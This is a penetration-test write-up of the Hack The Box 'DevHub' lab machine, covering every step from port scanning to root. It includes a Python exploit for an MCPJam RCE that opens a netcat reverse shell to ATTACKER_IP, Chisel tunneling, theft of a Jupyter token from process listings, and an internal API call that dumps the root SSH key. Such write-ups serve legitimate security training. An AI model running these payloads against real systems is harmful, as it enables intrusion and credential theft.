

DevHub HTB Machine Medium

Martina Giacobbe

1 Executive Summary

This report documents the penetration testing process conducted against the **DevHub (HTB Medium)** machine. The assessment covered reconnaissance, enumeration, exploitation, and post-exploitation phases. Multiple vulnerabilities were identified, including a critical Remote Code Execution (RCE) in the MCPJam service, leading to full system compromise and privilege escalation to root.

2 Methodology

The engagement followed a standard penetration testing lifecycle:

- Reconnaissance
- Scanning and Enumeration
- Vulnerability Assessment
- Exploitation
- Post-Exploitation
- Privilege Escalation

3 Phase 1 — Reconnaissance

3.1 Information Gathering

Initial access to the target web service was performed via:

```
http://devhub.htb:80
```

The web interface revealed the presence of an MCP service exposed on port **6274**, also accessible via:

```
http://devhub.htb:6274
```

This service appeared to be a management interface for MCPJam.

4 Phase 2 — Scanning & Enumeration

4.1 Port Scanning (Nmap)

A full TCP port scan was conducted:

```
nmap -sC -sV 10.129.14.167
```

4.1.1 Results

Port	Protocol	State	Service
22	SSH	open	OpenSSH
80	HTTP	open	Web Server

4.2 Web Enumeration

VHost enumeration was performed using Gobuster:

```
gobuster vhost -u http://10.129.14.167 \
--wordlist /usr/share/SecLists/Discovery/DNS/subdomains-top1million
-5000.txt \
--append-domain
```

No relevant virtual hosts were identified.

4.3 MCPJam Service Enumeration

The MCPJam Inspector revealed version:

```
MCPJam Version: v1.4.2
```

This version was found to be vulnerable to:

- CVE-2026-23744 — Remote Code Execution (RCE)

5 Phase 3 — Vulnerability Assessment

5.1 Identified Vulnerability

Type	Severity	Description
RCE	Critical	MCPJam API allows remote command execution via <code>/api/mcp/connect</code>

The vulnerability exists because the service listens on `0.0.0.0` instead of `127.0.0.1`, exposing internal APIs externally.

An unauthenticated attacker can trigger malicious MCP server installation leading to arbitrary code execution.

6 Phase 4 — Exploitation

6.1 Initial Access

The following Python exploit was used to achieve remote code execution:

```
import requests
import json

target = "http://devhub.htb:6274"
ip = "ATTACKER_IP"
port = "ATTACKER_PORT"

url = f'{target}/api/mcp/connect'

data = {
    "serverConfig": {
        "command": "busybox",
        "args": [
```

```

        "nc",
        f"{ip}",
        f"{port}",
        "-e",
        "/bin/bash"
    ],
    "env": {}
},
"serverId": "213j1l3jkljkl3j"
}

response = requests.post(url, json=data, verify=False)

print(response.status_code)
print(response.text)

```

6.2 Shell Access

A reverse shell was successfully obtained:

```

nc -lvp 9002
listening on [any] 9002 ...
connect to [10.10.15.10] from (UNKNOWN) [10.129.14.167] 50900

```

6.3 Shell Stabilization

The shell was upgraded to a fully interactive TTY:

```

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
CTRL+Z
stty raw -echo; fg

```

7 Phase 5 — Post-Exploitation

7.1 Local Enumeration

The compromised user is **mcp**, a low-privileged account. A local service was discovered listening on port **8888**:

```
ss -tulpn
```

This service was identified as a Jupyter Notebook instance bound to localhost.

7.2 Lateral Movement via Port Forwarding

Since SSH forwarding alone was insufficient in this context, a tunneling solution was deployed using Chisel.

```

# Attacker machine
./chisel server --reverse --port 9001

# Victim machine
./chisel client 10.10.15.10:9001 R:8888:127.0.0.1:8888 &

```

This exposed the internal Jupyter service on the attacker machine.

7.3 Jupyter Token Retrieval

The Jupyter instance required authentication via token. Since the process runs locally, the token was exposed in the process arguments:

```
ps aux | grep jupyter
```

7.3.1 Output

```
analyst 1054 0.1 2.4 182532 96584 ? Ss ...  
/home/analyst/jupyter-env/bin/jupyter-lab \  
--ip=127.0.0.1 --port=8888 \  
--ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
```

The extracted token:

```
ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
```

After authentication, a terminal session was spawned within Jupyter as user **analyst**.

8 Phase 6 — Privilege Escalation

8.1 Discovery of Internal API

During local enumeration, a hidden file was identified:

```
cat /opt/opsmcp/server.py
```

The file exposed hidden administrative tools:

```
HIDDEN_TOOLS = {  
    "ops._admin_dump": {  
        "description": "Emergency credential dump - INTERNAL ONLY"  
    },  
    "ops._debug_mode": {  
        "description": "Enable debug mode"  
    }  
}
```

The tool `ops._admin_dump` allowed retrieval of sensitive credentials, including:

- Root SSH private key
- System passwords (including analyst and mcp-dev)

8.2 Credential Dump Functionality

```
if target == "ssh_keys":  
    with open('/root/.ssh/id_rsa', 'r') as f:  
        key_data = f.read()
```

```
elif target == "passwords":  
    return {  
        "root": "$6$rounds=656000$...",  
        "analyst": "JupyterN0tebook!2026",  
        "mcp-dev": "Mcp!Insp3ct0r2026"  
    }
```

8.3 Exploitation of Internal API

The following request was issued from the Jupyter environment:

```
import requests

r = requests.post(
    "http://127.0.0.1:5000/tools/call",
    headers={
        "X-API-Key": "opsmcp_secret_key_4f5a6b7c8d9e0f1a",
        "Content-Type": "application/json"
    },
    json={
        "name": "ops._admin_dump",
        "arguments": {"target": "ssh_keys", "confirm": True}
    }
)

print(r.json())
```

8.4 Root Access

The retrieved SSH private key was saved locally:

```
vim root_ssh
chmod 600 root_ssh
ssh -i root_ssh root@devhub.htb
```

8.5 Root Flag

Upon successful authentication as root:

```
cat root.txt
```

9 Conclusion

The DevHub machine was fully compromised through a chain of vulnerabilities:

- Exposed MCP API leading to RCE
- Insecure local service exposure (Jupyter on localhost)
- Information leakage via process arguments
- Unsafe internal administrative API

The attack culminated in full root-level compromise.